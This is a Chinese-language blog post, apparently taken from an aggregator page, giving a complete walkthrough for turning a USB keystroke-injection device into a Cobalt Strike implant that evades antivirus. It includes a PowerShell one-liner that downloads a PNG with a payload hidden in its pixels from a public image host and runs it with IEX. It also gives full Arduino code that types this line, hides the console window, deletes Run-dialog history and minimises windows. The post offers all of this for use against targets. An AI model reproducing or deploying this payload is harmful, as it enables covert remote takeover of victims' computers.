BadUsb配合Cobalt-Strike免杀上线

前言:

原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作。Badusb将恶意代码预存在U盘的固件中,导致PC上的杀毒软件无法应对BadUsb的攻击。 BadUSB就是通过对U盘的固件进行逆向重新编程,改写了U盘的操作系统而进行攻击的。

实现步骤:

1.Cobalt-strike生成Powershell payload.

2.自行从网上找一1920*1080高清壁纸,接下来要将木马免杀进PNG图片。

免杀工具地址:https://github.com/peewpw/Invoke-PSImage

介绍:Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。 它从Web的文件中生成一个oneliner来执行。

它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。 图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。 创建新映像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%。

将生成的Payload.ps1和网上的图片放在Invoke-PSimage同一目录下,按下Shift+鼠标右键进入Powershell命令行,输入如下命令:

 Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient

会发现生成如下的命令:

当这个语句放入Powershell执行的时候,CS就会上线目标机器,但是不会触发杀软,简单原理就是远程下载带有恶意代码的图片,然后进行运行,那么接下来一步就是将带有混淆代码的图片上传到互联网上。(使用Cobalt-strike的钓鱼文件下载具有时效性,不如图床稳定)

3.上传到图床,目前互联网上的图床上传限制皆为5M,这里我找了一个比较好的图床。

链接如下:https://www.png8.com/

上传完图片后将原有代码进行修改替换,修改后如下:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("https://www.png8.com/imgs/2021/05/18df3672767f26ef.png"));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

这样在Powershell模式下运行就会进行上线

4.接下来就是将恶意代码执行的命令烧录进BadUsb.

使用到的软件是Arduino IDE,使用的Badusb为淘宝某热销。

Badusb的核心逻辑就是模拟键盘操作,那么我们的入侵思路是目标插入Badusb的一段时间内使其失去对电脑的控制权限,从而给我们足够是时间让恶意代码执行,从网页上下载带有Payload的PNG进行执行。那么我们的思路可以是这样的:

#1.插入USB后缓存一定时间让电脑足够识别
#2.按下Win+r,并且以最小化打开CMD,并且删除注册表记录
#3.进入Powershell模式
#4.在Powershell模式下执行恶意代码,同时让目标失去对电脑的控制权
#5.执行完恶意代码后按下Win+M,此时所有应用最小化。

对应的arduino代码如下,具体可以自己魔改,相应的函数作用不再赘述。

 void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1&reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
delay(500);
Keyboard.println("Powershell");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://www.png8.com/imgs/2021/05/18df3672767f26ef.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))");
Keyboard.press(KEY_RETURN);
delay(10000);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(5000);
Keyboard.release(KEY_RETURN);
Keyboard.println('exit');
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('m');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('m');
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}

①:注意应将链接内的双引号修改为单引号否则会引起报错。

②:图片上传到图床一定得是PNG格式,jpg格式会导致无法解析!

5.使用Arduino烧录代码到USB中

选择Arduino Leonardo 板 以及COM5端口,将代码编译运行后烧录。

再次插入USB,自动运行并且上线。

杀软无告警,此时BadUsb制作成功。

BadUsb配合Cobalt-Strike免杀上线的更多相关文章

  1. shellcode隐写到像素RGB免杀上线到CS

    利用把Shellcode隐写到图片像素RGB进行免杀上线到CS --by:chenw 0x01 前言 前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法 ...

  2. 后门木马免杀-msfvenom和msf5(evasion)

    贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpr ...

  3. Cobalt Strike系列教程第一章:简介与安装

    Cobalt Strike是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等多种功能.同时,Cobalt St ...

  4. cobalt strike 快速上手

    原文:https://klionsec.github.io/2017/09/23/cobalt-strike/#menu 0x01 关于 Cobalt Strike 1 2 3 一款非常优秀的后渗透平 ...

  5. Cobalt Strike使用教程一

    Cobalt Strike使用教程一     0x00 简介 Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器.自3.0以后已经不在使用Metasploit框架而作为 ...

  6. Cobalt Strike 学习

    前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...

  7. Cobalt Strike深入使用

    System Profiler使用 System Profiler 模块,搜集目标的各类机器信息(操作系统版本,浏览器版本等) Attacks->web drive-by->System ...

  8. Cobalt Strike生成后门

    Cobalt Strike生成后门 1.Payload概念 Payload在渗透测试之中大家可以简单地理解为一段漏洞利用/植入后门的代码或程序. 2.Cobalt Strike生成后门 攻击--> ...

  9. Cobalt Strike后渗透安装和初步使用

    Cobalt Strike安装 系统要求 Cobalt Strike要求Java 1.8,Oracle Java ,或OpenJDK . 如果你的系统上装有防病毒产品,请确保在安装 Cobalt St ...

随机推荐

  1. Python 基础学习笔记(超详细版)

    1.变量 python中变量很简单,不需要指定数据类型,直接使用等号定义就好.python变量里面存的是内存地址,也就是这个值存在内存里面的哪个地方,如果再把这个变量赋值给另一个变量,新的变量通过之前 ...

  2. 后端程序员之路 20、python复习

    Welcome to Python.orghttps://www.python.org/ 怎么用最短时间高效而踏实地学习 Python? - 知乎https://www.zhihu.com/quest ...

  3. DES加密详解

    目录 1 根据输入的秘钥得到16个子秘钥 1.1 大致流程 1.2 利用PC-1从K_0中挑出K_1 1.3 利用PC-2从K_1中挑出16个子秘钥 2 利用16个子秘钥对明文进行加密 2.1 大致流 ...

  4. java内存区域的划分

    前言 之前我们探讨过一个.class文件是如何被加载到jvm中的.但是jvm内又是如何划分内存的呢?这个内被加载到了那一块内存中?jvm内存划分也是面试当中必被问到的一个面试题. 什么是JVM内存区域 ...

  5. POJ-3468(线段树+区间更新+区间查询)

    A Simple Problem With Integers POJ-3468 这题是区间更新的模板题,也只是区间更新和区间查询和的简单使用. 代码中需要注意的点我都已经标注出来了,容易搞混的就是up ...

  6. HDR(高动态范围)

    一: 简介 一般来说,当存储在帧缓冲(Framebuffer)中时,亮度和颜色的值是默认被限制在0.0到1.0之间的. 但是如果我们遇上了一个特定的区域,其中有多个亮光源使这些数值总和超过了1.0,又 ...

  7. SpringBoot启动流程原理解析(二)

    在上一章我们分析了SpingBoot启动流程中实例化SpingApplication的过程. return new SpringApplication(primarySources).run(args ...

  8. CVE-2019-2618 任意文件上传

    漏洞描述:CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件.攻击者突破了OAM(Oracle Access Ma ...

  9. 【翻译】内部API的价值

    内部api的设计,主要是为了简化软件的开发,简化系统和操作过程.目前绝大多数用例是这样的. 内部api经常被忽略,因为它们是针对内部开发人员的.这种类型的api通常使用于特定公司及其部门的专用数据.尽 ...

  10. 鸿蒙第三方组件——SwipeCaptcha滑动拼图验证组件

    目录:1.组件效果展示2.Sample解析3.<鸿蒙第三方组件>系列文章合集 前言 基于安卓平台的滑动拼图验证组件SwipeCaptcha( https://github.com/mcxt ...